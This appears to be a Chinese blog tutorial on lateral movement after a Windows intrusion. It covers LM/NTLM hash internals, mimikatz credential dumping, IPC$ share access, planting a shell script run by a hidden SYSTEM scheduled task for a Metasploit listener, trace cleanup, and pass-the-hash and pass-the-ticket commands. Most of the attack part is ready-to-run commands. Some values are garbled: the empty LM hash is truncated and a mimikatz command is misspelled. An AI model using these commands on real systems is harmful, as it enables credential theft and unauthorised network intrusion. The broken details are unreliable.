后渗透——内网横向

内网横向

1 LM/NTML HASH

1.1 哈希加密

Windows通常使用LM哈希和NTML哈希两种方法对用户的明文密码进行加密,在域环境中用户信息存储在ntds.dit中。

在Windows操作系统中哈希的结构通常如下:

username:RID:LM-HASH:NT-HASH

从WIndows vista和WindowsServer2008、个人版WindowsServer2003开始默认禁用了LM-HASH。

LM-HASH限定其明文密码在14位以内,所以将密码设置位14位以上即可停用LM-HASH,此时通过工具抓取到的LMHASH通常为:

ad3b435b51404eead3b435b5140433
#表示LMHASH为空或禁用

1.2 LM-HASH原理

  1. 将明文转换为大写格式。
  2. 将大写的字符串转换为16进制。
  3. 密码不足14字节的用00在低位补全。1Byte=8bit
  4. 从中间分开成两组,每组7字节。
  5. 将每一组7字节的16进制转换为2进制,每7bit分成1组并在末尾加0,再转换成16进制,得到2组8字节码。
  6. 将2组编码分别做DES加密,key为字符串KGS!@#$%
  7. 2组加密后的编码合成为最终结果。

1.3 NTLM-HASH原理

  1. 将明文口令转换成16进制格式。
  2. 将转换后的编码转换成Unicode格式,即在每个字节后添加0x00。
  3. 对Unicode字符串作MD4加密,生成32为的16进制数字串,即为结果。

2 HASH抓取

2.1 getpass

Gitee下载

2.2 pwdump

官网下载(Windows PWDUMP tools (openwall.com))

需要使用管理员权限运行

2.3 mimikatz

GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security

#提升权限
privilege::debug
#抓取密码
sekurlsa::logonpasswords
#导出SAM数据
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM

[参考后渗透]Mimikatz使用大全 - 肖洋肖恩、 - 博客园 (cnblogs.com)

3 IPC$横向

IPC(Internet Process Connection)共享命名管道的资源,为实现进程间通信而开放的。可通过验证用户名密码的方式获得相应的权限。

3.1 建立一个IPC$

net use \\192.168.41.99(这其实是同域内OA的IP)\ipc$ "密码" /user:administrator
#开启连接
net use

3.2 IPC$利用条件

  • 被访问的主机开启了139、445端口
  • 管理员开启了默认共享

3.3 利用方式

前提:执行net use成功

  • dir

    #查看目标机的指定路径
    dir \\192.168.41.99\C$
    
  • tasklist

    #查看目标机的进程
    tasklist /s 192.168.41.99
    
  • -schtasks

    #查看时间信息(方便开启计划任务)
    net time \\192.168.41.99
    #复制文件
    copy 本地文件 远端文件
    copy c:\shell.ps1 \\192.168.41.99\C$
    #查看目标机的路径下是否有上传的文件
    dir \\192.168.41.99\C$
    
    #创建计划任务
    schtasks /create /s 192.168.41.99 /tn test /sc onstart /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1" /ru system /f
    
    #执行计划任务
    schtasks /run /s IP地址 /i /tn "计划任务名"
    
  • 用Kali开启msf监听即可

清除任务

#清除计划任务
schtasks /delete /s 192.168.41.99 /tn "test" /f
#清除软连接
net use \\192.168.41.99 /del /y

4 HASH和票据传递

4.1 PTH攻击(Pass The Hash)

首先获取用户名和密码的NTLM值,同时需要有本地管理员权限。

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hack.com
/ntlm:33b89cf1674c1378a9cbf91de7189a7c"

4.2 票据传递PTT(Pass The Ticket)

  • 获取票据文件

    mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
    
  • 清除内存中的票据

    kerberos::pruge
    
  • 将高权限的票据文件注入内存

    mimikatz.exe "kerberos::ptt" "票据文件全名含路径"
    #举例:
    mimikatz.exe "kerberos::ptt" "[0;804ad]2060a10000Administrator@
    krbtgtHACK.
    COM.kirbi"
    

你可能感兴趣的:(#,后渗透,安全)